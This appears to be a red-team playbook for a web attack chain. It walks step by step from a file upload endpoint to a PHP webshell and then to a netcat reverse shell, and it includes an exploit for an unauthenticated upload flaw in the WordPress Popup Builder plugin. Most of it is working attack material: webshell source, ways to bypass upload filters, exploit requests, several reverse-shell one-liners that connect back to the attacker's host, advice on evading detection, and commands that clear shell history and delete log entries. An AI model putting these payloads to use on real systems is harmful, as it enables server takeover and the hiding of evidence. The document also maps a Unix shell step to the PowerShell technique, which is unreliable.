---
name: rt-scenario-w005
description: "W-005: File Upload → PHP Webshell → RCE → Reverse Shell. Domain: web. Attack chain: find upload endpoint → bypass extension validation → upload PHP webshell → access webshell URL → execute commands → netcat reverse shell. MITRE: T1190 → T1059.004 → T1059.001. Real example: popup-builder CVE-2024-3673: unauthenticated file upload → shell.php → OS command execution"
---

# W-005: File Upload → PHP Webshell → RCE → Reverse Shell

## Overview

**Attack Objective:** Gain remote code execution on the target web server by abusing an unrestricted or improperly validated file upload endpoint to deploy a PHP webshell, then pivot to a fully interactive reverse shell.

**Required Access Level:** None (unauthenticated) — depending on the target, a low-privilege account may be needed to reach the upload feature.

**Estimated Time to Execute:** 15–45 minutes (reconnaissance through shell)

**Detection Risk Level:** Medium — file upload activity and outbound shell connections are detectable, but the initial upload may blend with legitimate traffic if done carefully.

---

## Prerequisites

### Required Tools

```bash
# curl — HTTP requests and file upload
sudo apt install curl -y

# netcat (ncat or nc) — reverse shell listener
sudo apt install ncat -y        # or: sudo apt install netcat-openbsd -y

# ffuf or gobuster — endpoint discovery
sudo apt install ffuf -y
# or: go install github.com/OJ/gobuster/v3@latest

# Burp Suite Community — intercept and modify requests (optional but recommended)
# Download: https://portswigger.net/burp/communitydownload

# wfuzz — alternative fuzzer for endpoint and parameter discovery
sudo apt install wfuzz -y

# php — local testing of payloads
sudo apt install php-cli -y
```

### Required Access or Conditions

- Network access to the target web server (HTTP/HTTPS)
- A reachable file upload endpoint (profile photo, document, import feature, plugin upload, etc.)
- The server must execute PHP (Apache/Nginx with PHP-FPM or mod_php)
- The uploaded file must be accessible via a predictable URL
- For CVE-2024-3673 (popup-builder): WordPress instance with the Popup Builder plugin <= 4.2.3 installed, no authentication required

### Skill Level

**INTERMEDIATE** — Requires familiarity with HTTP, web application structure, Linux shell, and basic scripting.

---

## Attack Chain

```
[T1190] Exploit Public-Facing Application
    └── Discover upload endpoint (gobuster / manual browse / CVE recon)
            │
            ▼
[T1190] Bypass Extension / MIME Validation
    └── Rename payload, spoof Content-Type, double extension, null byte
            │
            ▼
[T1059.004] Upload PHP Webshell
    └── shell.php deployed to server-writable directory
            │
            ▼
[T1059.004] Access Webshell URL
    └── HTTP GET/POST to /uploads/shell.php?cmd=id
            │
            ▼
[T1059.004] Execute OS Commands via Webshell
    └── Enumerate user, OS, network, sensitive files
            │
            ▼
[T1059.001] Establish Netcat Reverse Shell
    └── Attacker listener + mkfifo/bash one-liner → interactive shell
```

MITRE ATT&CK mapping: **T1190 → T1059.004 → T1059.001**

---

## Step-by-Step Execution

### Step 1 — Identify the Upload Endpoint

**Option A: Directory brute-force**

```bash
ffuf -u http://TARGET/FUZZ \
     -w /usr/share/wordlists/dirb/common.txt \
     -e .php,.html \
     -mc 200,301,302 \
     -t 40 \
     -o ffuf_results.json
```

Expected output:
```
upload          [Status: 200, Size: 4321]
wp-admin/upload [Status: 302, Size: 0]
api/import      [Status: 200, Size: 128]
```

**Option B: Manual browsing**
Navigate to common locations: `/upload`, `/uploads`, `/media`, `/files`, `/wp-admin/media-new.php`, plugin-specific paths.

**Option C: CVE-targeted (popup-builder)**
```bash
# Confirm plugin version
curl -s http://TARGET/wp-content/plugins/popup-builder/readme.txt | grep -i "Stable tag"
```

Expected output:
```
Stable tag: 4.2.3
```

Fallback: If ffuf finds nothing, try authenticated upload after registering a low-privilege account, or pivot to a different attack path.

---

### Step 2 — Craft the PHP Webshell Payload

```bash
# Minimal single-parameter webshell
cat > /tmp/shell.php << 'EOF'
<?php
if(isset($_REQUEST['cmd'])){
    $cmd = $_REQUEST['cmd'];
    echo '<pre>' . shell_exec($cmd) . '</pre>';
}
?>
EOF
```

For environments with disabled functions, use an alternative execution method:

```bash
cat > /tmp/shell2.php << 'EOF'
<?php
$cmd = $_REQUEST['cmd'];
$output = [];
exec($cmd, $output);
echo implode("\n", $output);
?>
EOF
```

---

### Step 3 — Bypass Extension Validation

Try these bypass techniques in order until one succeeds:

**3a. Simple rename (no validation)**
```bash
cp /tmp/shell.php /tmp/shell_upload.php
```

**3b. Double extension**
```bash
cp /tmp/shell.php /tmp/shell.php.jpg
```
Some servers execute based on the first extension; some on the last. Test both.

**3c. Alternate PHP extensions**
```bash
for ext in php php3 php4 php5 php7 phtml phar shtml; do
    cp /tmp/shell.php /tmp/shell.$ext
done
```

**3d. Null byte injection (older PHP < 5.3.4)**
The filename in the multipart request becomes `shell.php%00.jpg` — the server stores `shell.php`, strips null byte.

**3e. Spoof MIME type via Content-Type**
When using curl, force the content type:
```bash
-F "file=@/tmp/shell.jpg;type=image/jpeg"
```
while the actual file content is PHP code.

**3f. Magic bytes prepend (bypass content inspection)**
```bash
printf '\xff\xd8\xff\xe0' | cat - /tmp/shell.php > /tmp/shell_magic.php
```
Prepends JPEG magic bytes before PHP code; some validators check only the first bytes.

---

### Step 4 — Upload the Webshell

**Generic multipart upload:**
```bash
curl -s -X POST http://TARGET/upload \
     -F "file=@/tmp/shell.php;type=image/jpeg" \
     -F "action=upload" \
     -v 2>&1 | grep -E "(Location|filename|path|url|HTTP/)"
```

**CVE-2024-3673 (popup-builder unauthenticated upload):**
```bash
curl -s -X POST "http://TARGET/wp-admin/admin-ajax.php" \
     -F "action=sgpb_subscribe_form_import_data" \
     -F "sgpb_subscribe_import_data_file=@/tmp/shell.php;type=text/csv" \
     | python3 -m json.tool
```

Expected output:
```json
{
  "status": true,
  "message": "File uploaded successfully",
  "file": "/wp-content/uploads/2024/shell.php"
}
```

Note the returned path — this is where the webshell lives.

Fallback: If the response does not include a path, guess based on common WordPress upload directories:
```bash
YEAR=$(date +%Y); MONTH=$(date +%m)
curl -s "http://TARGET/wp-content/uploads/${YEAR}/${MONTH}/shell.php?cmd=id"
```

---

### Step 5 — Verify Webshell Execution

```bash
curl -s "http://TARGET/wp-content/uploads/$(date +%Y/%m)/shell.php?cmd=id"
```

Expected output:
```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Basic enumeration commands:
```bash
# OS info
curl -s "http://TARGET/path/shell.php" --data-urlencode "cmd=uname -a"

# Current directory
curl -s "http://TARGET/path/shell.php" --data-urlencode "cmd=pwd"

# Network interfaces
curl -s "http://TARGET/path/shell.php" --data-urlencode "cmd=ip a"

# Writable directories
curl -s "http://TARGET/path/shell.php" --data-urlencode "cmd=find / -writable -type d 2>/dev/null | head -20"

# Sensitive files
curl -s "http://TARGET/path/shell.php" --data-urlencode "cmd=cat /etc/passwd"
curl -s "http://TARGET/path/shell.php" --data-urlencode "cmd=find / -name wp-config.php 2>/dev/null"
```

Fallback: If `shell_exec` is disabled, try `system()`, `passthru()`, or `proc_open()` variants in Step 2.

---

### Step 6 — Establish Netcat Reverse Shell

**On attacker machine — start listener:**
```bash
LPORT=4444
ncat -lvnp $LPORT
```

Expected output:
```
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
```

**Trigger reverse shell via webshell (choose one):**

Option A — mkfifo (most reliable):
```bash
LHOST=YOUR_IP
LPORT=4444
SHELL_URL="http://TARGET/path/shell.php"

curl -s "$SHELL_URL" --data-urlencode \
  "cmd=rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc $LHOST $LPORT > /tmp/f"
```

Option B — bash TCP redirect:
```bash
curl -s "$SHELL_URL" --data-urlencode \
  "cmd=bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"
```

Option C — Python (if bash is restricted):
```bash
curl -s "$SHELL_URL" --data-urlencode \
  "cmd=python3 -c 'import socket,subprocess,os; s=socket.socket(); s.connect((\"$LHOST\",$LPORT)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call([\"/bin/sh\",\"-i\"])'"
```

**Upgrade to fully interactive TTY (on the reverse shell):**
```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Press Ctrl+Z to background
stty raw -echo; fg
# Press Enter twice
export TERM=xterm
stty rows 40 cols 170
```

Expected output after upgrade:
```
www-data@target:/var/www/html$
```

Fallback: If netcat is not on the target and outbound TCP is filtered, try:
- Port 80/443 for egress (use `ncat -lvnp 443` on attacker)
- PowerShell reverse shell if Windows IIS
- curl-based polling shell using a web intermediary

---

## Real-World Reference

### CVE-2024-3673 — Popup Builder Plugin (WordPress)

**Plugin:** Popup Builder by Sygnoos (versions <= 4.2.3)
**Severity:** CVSS 9.8 (Critical)
**Authentication:** None required
**Affected installations:** 200,000+ active WordPress sites at time of disclosure

**Vulnerability:** The `sgpb_subscribe_form_import_data` AJAX action accepted arbitrary file uploads without authentication and without validating the file extension or content. An attacker could POST a `.php` file disguised as a CSV import, and the server would store it in the WordPress uploads directory with its original extension intact.

**Exploitation summary:**
1. Send unauthenticated POST to `/wp-admin/admin-ajax.php` with `action=sgpb_subscribe_form_import_data`
2. Attach `shell.php` with `Content-Type: text/csv`
3. Server saves `shell.php` to `/wp-content/uploads/YYYY/MM/`
4. Access `shell.php?cmd=id` to confirm RCE
5. Escalate to reverse shell

**Patch:** Version 4.2.7 added authentication checks and extension whitelisting.

**References:**
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-3673
- WPScan: https://wpscan.com/vulnerability/CVE-2024-3673

---

## MITRE ATT&CK Mapping

| Step | Tactic | Technique | Sub-technique | Description |
|------|--------|-----------|---------------|-------------|
| 1 — Discover endpoint | Reconnaissance | T1595 | T1595.003 — Wordlist Scanning | Brute-force directories to locate upload feature |
| 2 — Craft payload | Resource Development | T1587 | T1587.001 — Malware: Webshell | Author PHP webshell for deployment |
| 3 — Bypass validation | Defense Evasion | T1036 | T1036.008 — Masquerading: Invalid Signature | Rename/double-extend file to evade extension checks |
| 4 — Upload webshell | Initial Access | T1190 | — Exploit Public-Facing Application | Upload PHP file through vulnerable endpoint |
| 5 — Execute via webshell | Execution | T1059 | T1059.004 — Unix Shell | Send OS commands through HTTP to webshell |
| 6 — Reverse shell | Execution | T1059 | T1059.001 — PowerShell / Unix Shell | Spawn interactive reverse shell over TCP |
| 6 — Persistence (optional) | Persistence | T1505 | T1505.003 — Web Shell | Webshell itself serves as persistent access mechanism |
| 6 — C2 channel | Command and Control | T1571 | T1571.001 — Non-Standard Port | Reverse shell over attacker-chosen port (e.g., 4444) |

---

## Detection and OPSEC

### How This Attack Is Detected

**Signature-based:**
- WAF/IDS rules matching `<?php`, `shell_exec`, `system(`, `passthru(` in uploaded content
- File extension mismatch alerts (`.php` uploaded to image endpoint)
- YARA rules on web-accessible directories scanning for webshell patterns

**Behavioral:**
- Web server spawning child processes (`sh`, `bash`, `nc`) — anomalous parent/child relationship
- Outbound TCP connection from web server process (www-data → attacker IP)
- Unusual file creation in `/var/www` or WordPress `uploads/` directory
- High-entropy or short PHP files in upload directories

**Log-based:**
- Apache/Nginx access logs: POST to upload endpoint followed by GET requests to newly created `.php` file
- Auth logs: new processes running as `www-data`
- Network logs: new outbound connections on non-standard ports from web server

### Reducing Detection Risk During Authorized Engagement

- Use HTTPS to encrypt upload and webshell traffic (avoids content inspection)
- Compress or encode the webshell payload (base64 decode on server side)
- Use port 443 or 80 for the reverse shell listener to blend with expected egress
- Avoid running noisy commands (`nmap`, `find /`, mass file reads) through the webshell
- Limit webshell access to one request per objective — do not poll repeatedly
- Remove the webshell immediately after establishing the reverse shell
- Use a memory-resident payload after initial access instead of leaving files on disk

### Artifacts Left Behind (for Cleanup Reference)

| Artifact | Location | Type |
|----------|----------|------|
| PHP webshell file | `/var/www/html/...uploads.../shell.php` | File |
| FIFO pipe | `/tmp/f` | File |
| Apache/Nginx access log entries | `/var/log/apache2/access.log` or `/var/log/nginx/access.log` | Log |
| Auth/syslog entries | `/var/log/auth.log`, `/var/log/syslog` | Log |
| Shell history | `~/.bash_history` (www-data home) | File |
| `/tmp` artifacts | `/tmp/shell*`, `/tmp/f` | Files |

---

## Cleanup

Execute these steps through the established reverse shell or webshell before terminating the session.

```bash
# 1. Remove the webshell (substitute actual path)
WEBSHELL_PATH="/var/www/html/wp-content/uploads/$(date +%Y/%m)/shell.php"
rm -f "$WEBSHELL_PATH"

# 2. Remove FIFO and tmp artifacts
rm -f /tmp/f /tmp/shell* /tmp/f2

# 3. Clear bash history for www-data
cat /dev/null > ~/.bash_history
history -c

# 4. Verify removal
ls -la "$WEBSHELL_PATH" 2>&1   # Should return: No such file or directory
ls /tmp/                        # Should show no shell artifacts

# 5. Note: Log entries CANNOT be fully removed without root access.
#    With root, truncate logs carefully:
#    sudo sed -i '/shell\.php/d' /var/log/apache2/access.log
#    (Only perform log manipulation if explicitly authorized in the engagement scope.)
```

Note for authorized engagements: Confirm with the client's rules of engagement whether log artifact removal is in scope. Many engagements require artifacts to be preserved for the client's incident response team to validate detection capabilities.

---

## References

### Tools

| Tool | Purpose | URL |
|------|---------|-----|
| ffuf | Fast web fuzzer for endpoint discovery | https://github.com/ffuf/ffuf |
| gobuster | Directory/file brute-forcer | https://github.com/OJ/gobuster |
| Burp Suite | HTTP proxy for intercepting and modifying requests | https://portswigger.net/burp |
| ncat | Flexible netcat with SSL support | https://nmap.org/ncat/ |
| wfuzz | Web application fuzzer | https://github.com/xmendez/wfuzz |
| weevely | PHP webshell manager with encrypted channel | https://github.com/epinna/weevely3 |
| p0wny-shell | Feature-rich PHP webshell | https://github.com/flozz/p0wny-shell |

### Wordlists

| List | Path (Kali/Parrot) |
|------|-------------------|
| Common directories | `/usr/share/wordlists/dirb/common.txt` |
| SecLists web content | `/usr/share/seclists/Discovery/Web-Content/` |
| PHP extensions | `/usr/share/seclists/Fuzzing/extensions-most-common.fuzz.txt` |

### CVE and Vulnerability References

- CVE-2024-3673 (Popup Builder): https://nvd.nist.gov/vuln/detail/CVE-2024-3673
- CVE-2020-28949 (Archive_Tar file upload): https://nvd.nist.gov/vuln/detail/CVE-2020-28949
- OWASP Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
- HackTricks File Upload: https://book.hacktricks.xyz/pentesting-web/file-upload

### MITRE ATT&CK

- T1190 Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
- T1059.004 Unix Shell: https://attack.mitre.org/techniques/T1059/004/
- T1059.001 PowerShell: https://attack.mitre.org/techniques/T1059/001/
- T1505.003 Web Shell: https://attack.mitre.org/techniques/T1505/003/
